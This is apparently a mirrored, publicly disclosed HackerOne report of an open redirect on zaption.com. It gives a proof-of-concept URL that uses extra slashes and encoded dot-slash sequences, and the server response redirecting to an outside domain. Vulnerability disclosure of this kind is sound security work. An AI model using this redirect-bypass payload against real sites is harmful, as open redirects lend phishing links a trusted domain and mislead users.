HexBrain

Zaption · Report #45516

[zaption.com] Open Redirect

Validstatus
9upvotes
29 Oct 2016disclosed

How it was found

PoC: http://zaption.com///www.google.com/%2f%2e%2e

HTTP Response:

HTTP/1.1 303 See Other Access-Control-Allow-Origin: * Content-Type: text/html; charset=utf-8 Date: Wed, 28 Jan 2015 11:10:52 GMT Location: //www.google.com/%2f%2e%2e/

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original